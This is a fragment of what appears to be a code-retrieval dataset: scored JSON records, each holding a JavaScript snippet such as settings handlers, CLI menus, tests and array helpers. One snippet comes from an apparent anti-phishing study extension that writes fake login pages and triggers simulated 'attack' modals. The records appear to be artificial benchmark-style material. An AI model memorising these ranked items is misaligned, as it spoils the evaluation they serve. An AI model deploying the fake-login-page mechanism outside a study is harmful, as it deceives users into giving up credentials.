checkedOptions;\n }", "title": "" }, { "docid": "3e173bd4f2655a339db00cb20fc63014", "score": "0.50452214", "text": "function ShowEngineOptionSettings(force_show)\n{\n try{\n var selengine = common.GetSelectedEngineName();\n var recengine = common.GetRecommendedEngineName();\n \n if (common.isNull(selengine) || selengine.length < 1)\n {\n//-- common.PutToDebugLog(2, 'ERROR, _settings: ShowEngineOptionSettings no selected engine available');\n return false;\n }\n\n// means this is the firts start, we have to use selected engine\n if (common.isNull(global.useengine) || global.useengine.length < 2)\n {\n//-- force engine start, in case of IE, if engine is Java (otherwise it will not start any engine, if Close button is pressed)\n//-- hack for IsJavaInstalled for IE, because we can't detect it properly, so we start the java engine, and fall back if it's not working\n if (common.GetSelectedEngineName() === 'java' && common.GetBrowser() === 'MSIE' && common.IsJavaInstalled() < 2)\n {\n ;//-- don't set global.useengine, because in plhandler.StartEngine it will start recommended engine\n }else\n {\n common.PutToDebugLog(2, 'EVENT, Settings set useengine: ' + selengine);\n global.useengine = selengine;\n }\n }\n \n//-- if (html_engineoption.length > 3) { return; }\n\n common.ShowEngineOptionOnPage(function (msg, enginetouse)\n {\n//-- if an engine is forced, the don't show Choose Engine option to user\n var epjava = common.GetParameter2('enginepriority_java');\n var epwebrtc = common.GetParameter2('enginepriority_webrtc');\n var epns = common.GetParameter2('enginepriority_ns');\n var epflash = common.GetParameter2('enginepriority_flash');\n if (epjava === '5' || epwebrtc === '5' || epns === '5' || epflash === '5')\n {\n return;\n }\n \n//-- add choose engine option as a setting (above footer)\n html_engineoption = '<li data-icon=\"carat-d\" id=\"settingitem_chooseengine\"><a class=\"noshadow mlistitem\"><div class=\"sett_text\"><span class=\"sett_display_name\">' + stringres.get('sett_chooseengine_title') + '</span><br><span id=\"sett_comment_engineservice\" class=\"sett_comment\">' + stringres.get('sett_chooseengine_comment') + '</span></div></a></li>';\n \nreturn;\n//-- var listview = j$('#settings_list').html();\n//-- var footer = '';\n\n//-- if (common.isNull(listview) || listview.length < 1 || listview.indexOf('settingitem_chooseengine') > 0) { return; }\n//-- // if there are no engines\n//-- var enginelist = common.GetEngineList();\n//-- if (common.isNull(enginelist) || enginelist.length < 2) { return; }\n\n//-- var pos = listview.indexOf('<li id=\"settings_footer');\n//-- if (pos > 0)\n//-- {\n//-- footer = listview.substring(pos);\n//-- listview = listview.substring(0, pos);\n//-- }\n \n//-- var engineservice = '<li data-icon=\"carat-d\" id=\"settingitem_chooseengine\"><a class=\"noshadow\"><div class=\"sett_text\"><span class=\"sett_display_name\">' + stringres.get('sett_chooseengine_title') + '</span><br><span id=\"sett_comment_engineservice\" class=\"sett_comment\">' + stringres.get('sett_chooseengine_comment') + '</span></div></a></li>';\n//-- listview = listview + engineservice + footer;\n\n//-- j$('#settings_list').html('');\n//-- j$('#settings_list').append(listview).listview('refresh');\n\n//-- old footer display !!!DEPRECATED\n//-- j$('#settings_engine').show();\n//-- j$('#settings_engine_title').html(stringres.get('choose_engine_title'));\n//-- j$('#settings_engine_msg').html(msg);\n//-- if (enginetouse === 'java')\n//-- {\n//-- var javainstalled = common.IsJavaInstalled(); // 0=no, 1=installed, but not enabled in browser, 2=installed and enabled\n//-- if (javainstalled === 0)\n//-- { \n//-- j$('#btn_settings_engine').attr('href', global.INSTALL_JAVA_URL);\n//-- }\n//-- else if (javainstalled === 1)\n//-- {\n//-- if (common.GetBrowser() === 'MSIE') // can't detect if installed or just not allowed\n//-- {\n//-- j$('#btn_settings_engine').attr('href', global.INSTALL_JAVA_URL);\n//-- }else\n//-- {\n//-- j$('#btn_settings_engine').attr('href', global.ENABLE_JAVA_URL);\n//-- }\n//-- }\n//-- }\n//-- else if (enginetouse === 'webrtc')\n//-- {\n//-- ;\n//-- }\n//-- else if (enginetouse === 'ns')\n//-- {\n//-- j$('#btn_settings_engine').attr('href', common.GetNPLocation());\n//-- }\n//-- else if (enginetouse === 'flash')\n//-- {\n//-- ; // akos todo: implement for flash\n//-- }\n//-- else if (enginetouse === 'app')\n//-- {\n//-- ;\n//-- }\n//-- chooseenginetouse = enginetouse;\n//-- MeasureSettingslist();\n });\n } catch(err) { common.PutToDebugLogException(2, \"_settings: ShowEngineOptionSettings\", err); }\n}", "title": "" }, { "docid": "d73f0d78dacf4e9c3340f1e209fa101e", "score": "0.5041761", "text": "function start() {\n\n // We create a list prompt. Specifying that the user must pick a random number between 1 and 5.\n q.prompt([\n {\n type: \"list\",\n name: \"testEnv\",\n message: \"Do you want to generate test data for MLAB or localhost?\",\n choices: [\"MLAB\", \"localhost\", \"exit\"]\n }\n\n ]).then(function(answer) {\n\n if (answer.testEnv.toUpperCase() == \"MLAB\") {\n genCloud()\n }\n if (answer.testEnv.toUpperCase() == \"LOCALHOST\") {\n genLocal()\n }\n if (answer.testEnv.toUpperCase() == \"EXIT\"){\n process.exit()\n }\n\n });\n}", "title": "" }, { "docid": "c2102fb2a56229f6660854425085f3d8", "score": "0.5040733", "text": "function SelectHelper() {\r\n\t// SelectHelper.getAnswersAsList(mode, ans)\r\n\t// SelectHelper.createSelectBox(mode, choices, correct, answers, page, cls, defaultHelp)\r\n\t// SelectHelper.getSelectionAsText(choices, answers)\r\n\t// SelectHelper.createDivBox(mode, choices, correct, answers, page, cls)\r\n\t// SelectHelper.setupOnReportClick(mode, choices, correct, answers, page, reportDiv)\r\n}", "title": "" }, { "docid": "7fc2a09b5b3a593025ec835b4426e408", "score": "0.5039955", "text": "suiteSetup(){\n abstractMethod('suiteSetup');\n }", "title": "" }, { "docid": "297aa04307501d704ddd288fe2138505", "score": "0.5038551", "text": "init ({functions, registerAction, setDefaultOption}, ...more) { log('init', ...more) }", "title": "" }, { "docid": "f7e79959e626296bbf9ab2daab79865e", "score": "0.5037554", "text": "addOptionsGroup() {\n let config = {\n newGame: this.new_game,\n game_mode: 0,\n game_level: 0,\n // changeCamera: this.updateCamera,\n // quitServer: this.quitServer,\n scenario: 1,\n // film: this.playFilm,\n scene: this.scene\n };\n \n \n let configFolder = this.gui.addFolder('Configuration');\n configFolder.add(config, 'game_mode', {\n 'Human vs Human': 0,\n 'Human vs CPU': 1, \n 'CPU vs Human': 2,\n 'CPU vs CPU': 3\n }).name('Game Mode');\n \n configFolder.add(config, 'game_level', {\n 'Easy': 0,\n 'Hard': 1\n }).name('Difficulty');\n \n // configFolder.add(config, 'changeCamera').name('Change Camera');\n // configFolder.add(config, 'film').name('Play Film');\n // configFolder.add(config, 'quitServer').name('Quit Server');\n configFolder.open();\n \n configFolder.add(this.scene, 'scenario', {\n 'Normal': 1,\n 'Second': 2\n }).name('Scenario');\n configFolder.add(config, 'newGame').name('New Game');\n }", "title": "" }, { "docid": "9049bc789227a355753ef43616012e33", "score": "0.50338465", "text": "function get_options() {\n\t//载入处理\n\t$('#apiHost').val(localStorage[\"apiHost\"]||'http://erptest.xinyiglass.com:8000');\n\t$('#leadTimeOfBookTime').val(localStorage[\"leadTimeOfBookTime\"]||'500');\n\t$('#delayTimeOfBookTime').val(localStorage[\"delayTimeOfBookTime\"]||'0');\n\t$('#buyPageMaxRetryTimes').val(localStorage[\"buyPageMaxRetryTimes\"]||'10');\n\t$('#baiduOcrKeys').val(localStorage[\"baiduOcrKeys\"]||'');\n\tsetCheckBox($('#clickBuy'),localStorage[\"clickBuy\"]||'Y');\n\tsetCheckBox($('#clickOrder'),localStorage[\"clickOrder\"]||'Y');\n\tsetCheckBox($('#debugMode'),localStorage[\"debugMode\"]||'N');\n}", "title": "" }, { "docid": "04ed87c682129c3e258b2f423dda610d", "score": "0.5032852", "text": "static supported() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "49da2abd8c223c4e7a431c7113742707", "score": "0.50317556", "text": "validateOptions ({\n setCache,\n clearCache,\n getCache,\n applicationToken\n }) {\n assert(typeof setCache === 'function', 'The GistSync class needs a way to set cache')\n assert(typeof clearCache === 'function', 'The GistSync class needs a way to clear cache')\n assert(typeof getCache === 'function', 'The GistSync class needs a way to getCache')\n assert(typeof applicationToken === 'string', 'The GistSync class needs a user token to access gists')\n }", "title": "" }, { "docid": "18fbf532df69fb377d77eea37d5696e3", "score": "0.50310844", "text": "static with(options = {}) {\n return new HarnessPredicate(MatIconHarness, options)\n .addOption('type', options.type, async (harness, type) => (await harness.getType()) === type)\n .addOption('name', options.name, (harness, text) => HarnessPredicate.stringMatches(harness.getName(), text))\n .addOption('namespace', options.namespace, (harness, text) => HarnessPredicate.stringMatches(harness.getNamespace(), text));\n }", "title": "" }, { "docid": "51b7d18ad5016e85e4935f2ea4bfc231", "score": "0.5018575", "text": "function options() {\n inquirer\n .prompt([\n {\n type: `list`,\n name: `choice`,\n message: chalk.green.bold(`Pick an option`),\n choices: [`Make a purchase.`, `EXIT`]\n }\n ])\n .then(function(response) {\n var menu = response.choice;\n if (menu === `Make a purchase.`) {\n openStore();\n } else if (menu === `EXIT`) {\n connection.end();\n }\n });\n}", "title": "" }, { "docid": "784b94962874821076f2e21c6fdb5cd0", "score": "0.50153476", "text": "static showAddUserForTesting() {\n // TODO(crbug.com/1100910): migrate logic to dedicated test api.\n chrome.send('OobeTestApi.showGaiaDialog');\n }", "title": "" }, { "docid": "883e80d0d0f08e41c2f8153a3534c382", "score": "0.50052047", "text": "function _setup (options) {\n // your initialization code here...\n // a typical use is for controls binding: $(\"dom_elem\").clic(your_function);\n }", "title": "" }, { "docid": "3efee26d22605fe5dbfd4b5fedda5ea0", "score": "0.50026023", "text": "function showStandards()\r\n{\r\n TechSpec.show(\"showStandards\",\"standards.do\");\r\n}", "title": "" }, { "docid": "22e479aa129b4953fc7308cf8e6888e3", "score": "0.5000515", "text": "function SimulationOptions() {\r\n\t\"use strict\";\r\n\treturn {\r\n\t\tRUN_SIMULATION : true,\r\n\t\tSPHERE_RADIUS : 1200.0,\r\n\t\tSPHERE_RADIUS_MINIMUM : 25.0,\r\n\t\tCHARGE : 25.0,\r\n\t\tTHETA : 0.8,\r\n\t\tSPRING : 8.0,\r\n\r\n\t\t// Parameters for rendering\r\n\t\tSHOW_MELON_TEXTURE : true,\r\n\t\tDISPLAY_CUBE : true\r\n\t};\r\n}", "title": "" }, { "docid": "57c8d550ea73c9378b3e0a9aea77165e", "score": "0.49981016", "text": "function setOptions() {\n if (tabControl.isTabShowing(tabControl.TABS.DIRECTIONS)) {\n planTripOrShowPlaces();\n }\n }", "title": "" }, { "docid": "20458b830e0b6e0afcd782f91405ff3e", "score": "0.49970657", "text": "function init () {\n\t// get current URL\n\tvar url = window.location.href;\n\tvar normalized_url = normalizeURL(url);\n\t/* \n\t * if current URL is one of our fake domains, and if we're not \n\t * in the initial test phase, write fake login page onto empty page\n\t */\n\tif (fake_domain_list.indexOf(url) > -1 && !settings['in_init_test']){\n\t\tshowFake(url, settings['fake_attack']);\n\t\treturn;\n\t}\n\t/* \n\t * if checking for a login form is relevant, and if we're not in initial\n\t * test phase, and if we're not in the control or feedback groups - check for login forms\n\t */\n if (settings['loginInputCheck'] && !settings['in_init_test'] && groupData['group'] !== \"control\" && groupData['group'] !== \"feedback\") \n loginInputCheck();\n\n\tif(settings['whitelist'].indexOf(normalized_url) === -1){\n\t\t// if a relevant attack is active - run it\n\t\tif (settings['attack'] === 'showModal')\n\t\t\tshowModal('random', false);\n\t\telse if (settings['attack'] === 'showModalURL')\n\t\t\tshowModal('random', true);\n\t\telse if (settings['attack'] === 'showAd')\n\t\t\tshowAd();\n\t}\n\t// if we're in initial test phase, but not in the training phase nor in final test, launch choice modal and/or write fake login page\n\tif(settings['in_init_test'] && !settings['in_training'] && !settings['final_test'])\n\t\ttest_management(url);\n\n\t// if we're in initial training phase\n\telse if(settings['in_init_test'] && (settings['in_training'] || settings['final_test'])){\n\t\t// if we're not in control or feedback groups, check for login form, and launch choice modal and/or write fake login page\n\t\tif(groupData['group'] !== \"control\" && groupData['group'] !== \"feedback\"){\n\t\t\tloginInputCheck();\n\t\t\ttest_management(url);\n\t\t}\n\t\t// if we're in either control or feedback groups\n\t\telse{\n\t\t\t// if we're in the control group's phishing game, run special game modal\n\t\t\tif(url === \"http://www.ucl.ac.uk/cert/antiphishing/\")\n\t\t\t\trun_game_modal();\n\t\t\t// we're in the feedback group's training phase, launch choice modal and/or write fake login page\n\t\t\telse\n\t\t\t\ttest_management(url);\n\t\t}\n\t}\n\t// request \"background.js\" to create context menu (except for \"button\" group in initial phase)\n\tif (settings['init_done'] || groupData['group'] !== \"button\")\n\t\tchrome.runtime.sendMessage({method:'createContextMenuItem'});\n}", "title": "" }, { "docid": "03b3e23ded817d3357320b857c575688", "score": "0.49934122", "text": "function setupOptionsPage() {\n let options = config.options;\n shortenUrl.checked = options.shortenUrl;\n doTitle.checked = options.doTitle;\n popupWidth.value = options.popupDimensions[0];\n popupHeight.value = options.popupDimensions[1];\n}", "title": "" }, { "docid": "350aa68652f40a00b53d3d0656d746a3", "score": "0.49932078", "text": "function setOptions(program) {\n program\n .option('-l, --link <url>', 'set the url for the YouTube video')\n .option('-n, --name <name>', 'search by name instead of link')\n .option('-i, --info', 'info about YouTube link')\n .option('-d, --download', 'download from YouTube link')\n .option('-p, --play', 'play YouTube media in your media player')\n .option('--set-player <media-player>', 'set the media player')\n .option('-fn, --filename <filename>', 'filename of downloaded content')\n .option('-q, --quality <quality>', 'quality of downloaded content')\n .option('-s, --size', 'get the size of the video to be downloaded')\n .option('-ao, --audio-only', 'download only audio stream')\n .option('-vo, --video-only', 'download only video stream');\n}", "title": "" }, { "docid": "3f4fe938916f9ed31279ab25b3bce964", "score": "0.49914217", "text": "function test_appliance_console_negative() {}", "title": "" }, { "docid": "95b798676b2b111af128da5cc48ea466", "score": "0.4985956", "text": "function menuOptions() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Product Sales by Department\",\n \"Create New Department\",\n \"exit\"\n ]\n })\n .then(function (answer) {\n switch (answer.action) {\n case \"View Product Sales by Department\":\n viewProductSales();\n break;\n\n case \"Create New Department\":\n createNewDepartment();\n break;\n\n case \"exit\":\n connection.end();\n break;\n }\n });\n}", "title": "" }, { "docid": "47773dca37ae2446629a58ea2dcc6404", "score": "0.49822438", "text": "function miscTestFunctions() {\n var templateType,\n expectedMessage,\n viewEngine,\n changeToViewEngine,\n changedViewEngine,\n tests,\n text,\n expectedHtml;\n\n // Test function getTemplateType()\n templateType = app.getTemplateType(document.getElementById('template-test'));\n assert.equal(templateType, app.viewEngine(), 'Checking app.getTemplateType(\"template-test\"): ' + templateType);\n\n templateType = app.getTemplateType(document.getElementById('control-unknown-template'));\n assert.equal(templateType, 'Unknown', 'Checking app.getTemplateType(\"control-unknown-template\"): ' + templateType);\n\n try {\n expectedMessage = 'Missing parameter [script] for the function [DataFormsJS.getTemplateType()]';\n templateType = app.getTemplateType();\n assert.ok(false, 'Test should have failed');\n } catch (e) {\n assert.ok(e instanceof TypeError, 'Execption should be a TypeError');\n assert.equal(e.message, expectedMessage, expectedMessage);\n }\n\n try {\n expectedMessage = 'Invalid type for parameter [script] for the function [DataFormsJS.getTemplateType()], expected HTMLElement, received: object';\n templateType = app.getTemplateType({});\n assert.ok(false, 'Test should have failed');\n } catch (e) {\n assert.ok(e instanceof TypeError, 'Execption should be a TypeError');\n assert.equal(e.message, expectedMessage, expectedMessage);\n }\n\n // Test function viewEngine(); this function both reads and writes the value\n // of the current view engine. If setting the value the function is chainable\n // which this test also confirms.\n viewEngine = app.viewEngine();\n changeToViewEngine = (viewEngine === 'Handlebars' ? 'Nunjucks' : 'Handlebars');\n changedViewEngine = app.viewEngine(changeToViewEngine).viewEngine();\n assert.ok((viewEngine !== changedViewEngine), 'Checking that the view engine was changed from: ' + viewEngine);\n assert.equal(changedViewEngine, changeToViewEngine, 'Checking that [app.viewEngine()] was changed to: ' + changeToViewEngine);\n\n // Change back to the original view engine\n app.viewEngine(viewEngine);\n\n // Run Error Tests\n tests = [\n { value: 'Not Set', error: 'Invalid value specified for setting the ViewEngine: Not Set' },\n { value: 'Unknown', error: 'Invalid value specified for setting the ViewEngine: Unknown' },\n { value: 'Mixed', error: 'Invalid value specified for setting the ViewEngine: Mixed' },\n { value: 'ERROR', error: 'Unknown value specified for setting the ViewEngine [ERROR], refer to documentation or values from the enum/object [ViewEngines] for valid options.' }\n ];\n tests.forEach(function (test) {\n try {\n app.viewEngine(test.value);\n assert.ok(false, 'Test should have failed');\n } catch (e) {\n assert.ok(e instanceof TypeError, 'Execption should be a TypeError');\n assert.equal(e.message, test.error, test.error);\n }\n });\n\n // Confirm that the original view engine is still set\n assert.equal(app.viewEngine(), viewEngine, 'Checking that [app.viewEngine()] is still set: ' + viewEngine);\n\n // Escape HTML\n text = '\" & \\' < >';\n expectedHtml = '&quot; &amp; &#039; &lt; &gt;';\n assert.equal(app.escapeHtml(text), expectedHtml, 'Checking app.escapeHtml() with all escape characters: ' + expectedHtml);\n assert.equal(app.escapeHtml(), undefined, 'Checking app.escapeHtml() without a parameter');\n assert.equal(app.escapeHtml(), null, 'Checking app.escapeHtml() with a null parameter');\n assert.equal(app.escapeHtml(123), 123, 'Checking app.escapeHtml() with a numeric parameter');\n\n // Modify the [/misc-functions2] controller to test two different errors.\n // These errors would not be possible through the addController() method.\n // This is testing unlikely but possible error scenarios.\n app.controller('/misc-functions2').viewUrl = 'error';\n expectedHtml = 'Error with [Controller.path = \"/misc-functions2\"] - A controller must have either [viewId] or [viewUrl] defined but not both properties. This error is not possible when calling the [addController()] so one or more of the properties were modified by JavaScript code after the controller was already added.';\n\n // The first test is for an error defined in the private function [DataFormsJS compileTemplate()]\n tester.pageTester('#/misc-functions2', true, expectedHtml, assert, function () {\n // Redirect back to default URL - '#/'\n tester.pageTester('#/', false, 'Initial view has loaded', assert, function () {\n // Change back the controller for so that it can be called again\n app.controller('/misc-functions2').viewUrl = null;\n\n // Manually modify the already compiled template (this will trigger the error)\n for (var n = 0, m = app.compiledTemplates.length; n < m; n++) {\n if (app.compiledTemplates[n].id === 'misc-test-template') {\n app.compiledTemplates[n].type = 'Unknown';\n break;\n }\n }\n\n // Test Error from the private function [DataFormsJS renderTemplate()]\n var expectedHtml = 'Error with [Controller.path = \"/misc-functions2\"] - TypeError: Unsupported or Unknown Template View Engine: Unknown';\n tester.pageTester('#/misc-functions2', false, expectedHtml, assert, done);\n });\n });\n }", "title": "" } ]
53d1e21755182b11fd82b129bda419bf
Example: Given [0,4] return [0,4] Givem [2,1] return [1,2
[ { "docid": "1ecc8664351295b35ed7f57ebdd92c6f", "score": "0.0", "text": "function _sort(edge) {\n return edge[0] < edge[1] ? edge : [edge[1], edge[0]];\n}", "title": "" } ]
[ { "docid": "f090423f0ffe365daa5b07fc587f44fa", "score": "0.6067559", "text": "function returnReverso(array) { //[1, 2, 3]\n var temp = 0;\n for (var i = 0; i < array.length / 2; i++) {\n // temp = array[0] = 1\n temp = array[i];\n // 1 = array[3-1-0]>2>3\n array[i] = array[array.length - 1 - i];\n // 3 = 1\n array[array.length - 1 - i] = temp;\n }\n return array;\n}", "title": "" }, { "docid": "eb7102f4e958f0a8ef903cbf77075e62", "score": "0.6051582", "text": "function range2(x, y) {\n let newArray = []\n for (let i = 1; i < y; i++) {\n newArray.push(i)\n }\n return newArray\n}", "title": "" }, { "docid": "b2b34b9f0c3d14c56f48742cbb3c2c45", "score": "0.5987963", "text": "function range(x, y){\n if (y - x === 2) \n {\n return [x + 1];\n } \n else \n {\n var list = range(x, y - 1);\n list.push(y - 1);\n return list;\n }\n}", "title": "" }, { "docid": "c8aeb86a7146b8b8f4eb153fa9b75307", "score": "0.59403616", "text": "function possible(m,n,arr){\r\n let newArr=[]\r\n let x=arr[0]\r\n let y=arr[1]\r\n let t=1\r\n for(let i=0;i<m;i++){\r\n let result=x.slice(0,t).concat(y.slice(t-1))\r\n newArr.push(result)\r\n t++\r\n }\r\n newArr.push(x.slice(0).concat(y.slice(-1)))\r\n console.log(newArr)\r\n }", "title": "" }, { "docid": "ad0f13a76c99af8232bafdf4cb2e8c51", "score": "0.57834184", "text": "function getRangeBetween(beg, end) {\n // // base: if end-beg equals 2,\n // if (end - beg === 2) {return [beg + 1];\n // } \n \n // var list = getRangeBetween(beg, end - 1);\n // list.push(end - 1);\n // return list;\n debugger\n // let result = []\n // let maxDiff = end - beg -1\n // let counter = beg+1\n // // return counter \n // if(counter === end-1){return result}\n // result.push(counter)\n // counter++\n // return getRangeBetween(counter,end) \n \n \n \n \n \n }", "title": "" }, { "docid": "042ca434d2d0e7f560a85d2d4c5e5865", "score": "0.57473034", "text": "function permutationEquation(p) {\n let arr = [];\n for (let i = 0; i < p.length; i++) {\n let j = p.indexOf(i + 1) + 1;\n arr.push(p.indexOf(j) + 1);\n }\n return arr;\n}", "title": "" }, { "docid": "edad11c44b46f79b215fc7d14f9339f6", "score": "0.5728488", "text": "function g4() {\n var _ref = _sliced_to_array(arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [\n 0\n ], 2);\n _ref[0], _ref[1];\n}", "title": "" }, { "docid": "9d7d59888a442f39c0c82b9d0d213cfa", "score": "0.57154137", "text": "function e(){return[0,0,0,1]}", "title": "" }, { "docid": "4535da7bb15609ad366ce91900628a20", "score": "0.57095015", "text": "function secondGreatLow3(numbers) {\n var noDups = uniq(numbers);\n // console.log(noDups, numbers);\n var l = noDups.length;\n return [noDups[1], noDups[l-2]];\n}", "title": "" }, { "docid": "fcb7d0f6e5ec1b1098ef1d083bde4d80", "score": "0.5622305", "text": "function range_2(start, end) {\n // loop trough the range and add them in the array\n for (let i = 1; i <= end; i++) {\n array2.push(i);\n }\n // return the result\n return array2\n}", "title": "" }, { "docid": "2ea0468d894fef97a8d57d4bee4cb10a", "score": "0.55990803", "text": "function range(start, end, increment){\n if(end < start){\n [start, end] = [end, start];\n }\n let result = [];\n for(let i = start; i <= end; i += increment){\n result.push(i);\n }\n return result;\n}", "title": "" }, { "docid": "7f6c0ca611c2bcb9e558ce61aa5b7256", "score": "0.55804986", "text": "function task16(input = 10) {\n let pairs = [];\n for (let i=0; i<=input/2; i++) pairs.push([i, input -i]);\n return pairs;\n}", "title": "" }, { "docid": "0a89540f703aadced4b64f8de82ddb12", "score": "0.5572827", "text": "function main(nums, target) {\n // Solution with 1 for cycle \n\n let indices_two_num = {};\n let result = [];\n\n for (var i = 0; i < nums.length; i++) {\n let second = target - nums[i];\n\n if (indices_two_num[second] !== undefined) {\n result = [i, indices_two_num[second]];\n break;\n }\n indices_two_num[nums[i]] = i;\n }\n \n // console.log(result.sort());\n return result.sort();\n}", "title": "" }, { "docid": "6d95a736f898106589365f987a97a65a", "score": "0.55632174", "text": "function h(n,e){for(var a=0,t=e.length,i=n.length;a<t;a++,i++)n[i]=e[a];return n}", "title": "" }, { "docid": "715e6df46515fbbf2f6558695ec26f4a", "score": "0.55504185", "text": "function iterateRange(x, y){\n let output = [];\n for (let i = x+1; i < y; i++){\n output.push(i)\n }\n return output;\n}", "title": "" }, { "docid": "38ed79446c19ba15e917b5cbf39fcb56", "score": "0.55453473", "text": "function composeRanges(nums = []) {\n let result = [];\n let p1 = nums[0];\n let p2 = nums[0];\n let i = 0;\n let length = nums.length;\n\n while (i < length) {\n if (nums[i + 1] == nums[i] + 1) {\n p2 = nums[i + 1];\n } else if (p1 == p2) {\n result.push(`${p1}`);\n\n p2 = nums[i + 1];\n p1 = p2;\n } else {\n result.push(`${p1}->${p2}`);\n p2 = nums[i + 1];\n p1 = p2;\n }\n\n i++;\n }\n return result;\n}", "title": "" }, { "docid": "235d6d4d889e9220ab14f591de06a703", "score": "0.55409825", "text": "function p4E(k){\n \n var pA = [4, 1, 2, 3, 2, 3, 4, 1];\n\n var kA = k.split('');\n var r = [];\n\n pA.forEach(element => {\n r.push(kA[element-1])\n });\n return r;\n}", "title": "" }, { "docid": "9b940e9926151a413722bd96cbc5f907", "score": "0.5534985", "text": "function ProductTwoArrNeighbours(arr){\r\n\tlet newarr=arr.map((item,index) => { return item*arr[index+1]})\r\n\tnewarr.pop();\r\n\treturn newarr\r\n}", "title": "" }, { "docid": "96140d5a623d8c8df5a36108f33ef842", "score": "0.55171716", "text": "function generateList(start, end) {\n var rt = []\n var sign = start <= end ? 1 : -1\n var i\n for (i = start; (i - end) * sign <= 0; i += sign) {\n rt.push(i)\n }\n return rt\n}", "title": "" }, { "docid": "35eed1d82e88081b21cf9d8cf5a6685c", "score": "0.5505709", "text": "function c$1j(r,n){return t$4m(r)&&(r=[]),r.push(n),r}", "title": "" }, { "docid": "ef5704f71e594ab3b892f860d3fcc308", "score": "0.5503969", "text": "function e(t,n){return t.map(function(t,r,i){return e(n(t,r,i),n)})}", "title": "" }, { "docid": "953bf2b9dbfe1060b982bbea79ed6b4d", "score": "0.5495861", "text": "function x(t){return t[0]=0,t[1]=0,t[2]=0,t[3]=1,t}", "title": "" }, { "docid": "f3d35a7e984f7578956eca4fb34ee631", "score": "0.54878724", "text": "function e(){return[1,0,0,0,1,0,0,0,1]}", "title": "" }, { "docid": "dd7286c0e63a31b9a13a4c396cd44553", "score": "0.5478969", "text": "function swap(){\n var arr=[5,4,7,2];\n for (var i = 0; i < arr.length/2; i+=2){\n var temp = arr[i];\n arr[i] = arr[arr.length-1-i];\n arr[arr.length-1-i] = temp;\n }\n console.log(arr);\n return arr;\n }", "title": "" }, { "docid": "7a817f6e767fad26eba67e9848334012", "score": "0.5474646", "text": "function solution(v) {\n const xMap = new Map();\n const yMap = new Map();\n let result = [0,0];\n\n for (let i = 0; i < v.length; i++) {\n if (!xMap.has(v[i][0])) {\n xMap.set(v[i][0], 1)\n } else {\n let tmp = xMap.get(v[i][0]) + 1;\n xMap.set(v[i][0], tmp)\n }\n\n if (!yMap.has(v[i][1])) {\n yMap.set(v[i][1], 1)\n } else {\n let tmp = yMap.get(v[i][1]) + 1;\n yMap.set(v[i][1], tmp)\n }\n\n }\n\n for(let j = 0; j < v.length; j++) {\n if(xMap.get(v[j][0]) === 1 || xMap.size === 1) {\n result[0] = v[j][0]\n }\n if(yMap.get(v[j][1]) === 1 || yMap.size === 1) {\n result[1] = v[j][1]\n }\n }\n\n console.log(result)\n}", "title": "" }, { "docid": "1bb24008d79b47a46994bbaac89e2728", "score": "0.5468356", "text": "function permutationEquation(p) {\n let num = 0;\n let answer = [];\n for (let i = 1; i <= p.length; i++) {\n num = p.indexOf(i) + 1;\n answer.push(p.indexOf(num) + 1);\n }\n return answer;\n}", "title": "" }, { "docid": "09e2d99819d0a7682f94c7cef6c6462d", "score": "0.5463356", "text": "function doIt(arr) {\n const ret = [];\n let start = 1;\n let end = 1;\n for(let i = 0; i < arr.length; i++) {\n ret[i] = start;\n start *= arr[i];\n }\n for(let i = arr.length - 1; i > -1; i--) {\n ret[i] *= end;\n end *= arr[i];\n }\n return ret;\n}", "title": "" }, { "docid": "9b6e73277195447faa289a2a48dcf5f5", "score": "0.5450765", "text": "function integersInRange(x, y) {\n if (y - x === 2) return x + 1;\n let prevRange = integersInRange(x, y - 1);\n prevRange.push(x - 1);\n return prevRange;\n}", "title": "" }, { "docid": "3610f682019f4e5c8954ad7e3f21c070", "score": "0.54354054", "text": "function integersRangeRecursive(x, y) {\n if (y - x === 0) {\n return [x];\n } else {\n var arrRange = integersRangeRecursive(x, y - 1);\n arrRange.push(y);\n return arrRange;\n }\n}", "title": "" }, { "docid": "38ae3a13c5e69d8d009e20282bea2455", "score": "0.5434331", "text": "function listFrom(a, b) {\n return Array(b-a).fill(0).map((_, i) => i+a);\n}", "title": "" }, { "docid": "7607f3508b29c3e8a8dabf50e8f078b0", "score": "0.5431954", "text": "function gcd(num1, num2) {\n let newArray = [];\n for (i = 0; i < num2; i++) {\n if (num1 % i === 0 && num2 % i === 0) {\n newArray.push(i)\n }\n } return newArray[newArray.length - 1]\n\n}", "title": "" }, { "docid": "dbc8c0608857bc4628d39c1a7d549503", "score": "0.5411655", "text": "function multiFour(arr2){\n\nvar result=arr2.filter((nums )=>{\n if (nums%4==0){\n \treturn nums;\n \t} \n \n}) \nreturn result ; \n\n}", "title": "" }, { "docid": "655ee94fffc8b6c438fce7d80e0654a2", "score": "0.5405689", "text": "function doubleTrouble(arr){\n newarr=[]\n for(x=0;x<arr.length;x++){\n for(j=1; j<=2; j++){\n newarr.push(arr[x])\n }\n }\n return newarr;\n\n}", "title": "" }, { "docid": "187ed8879b86a03c66f007851d58b45e", "score": "0.539921", "text": "function getPairs(arr) {\n if (arr.length < 2) { return []; }\n var curr = arr[0],\n remaining = arr.slice(1),\n tempPairs = remaining.map(function (el) { return [curr, el]; });\n return tempPairs.concat(getPairs(remaining));\n }", "title": "" }, { "docid": "1595a9d194299db02d4bed463aef4240", "score": "0.5376392", "text": "function range(start, end) {\n let nums = end;\n if (start === end) {\n return [start];\n }\n return range(start, end - 1).concat(nums);\n}", "title": "" }, { "docid": "3845a3b037acb4de546b80969819fbda", "score": "0.5371892", "text": "function n(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}", "title": "" }, { "docid": "3845a3b037acb4de546b80969819fbda", "score": "0.5371892", "text": "function n(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}", "title": "" }, { "docid": "08ac1d228912be171aac51b22009f989", "score": "0.5365079", "text": "function range(startNum, endNum){ \n let newArr = []\n for(let i = startNum +1; i < endNum; i++){\n newArr.push(i)\n }\n return newArr\n}", "title": "" }, { "docid": "ba9998e73acc7d0c915e94731474bfa0", "score": "0.535815", "text": "function selection(arr){\n for(let i=0;i<arr.length-1;i++){\n let smallest = i\n for(let j =i+1;j<arr.length;j++){\n if (arr[j]<arr[smallest]){\n smallest = j\n }\n }\n [arr[i],arr[smallest]] = [arr[smallest],arr[i]]\n }\n return arr\n}", "title": "" }, { "docid": 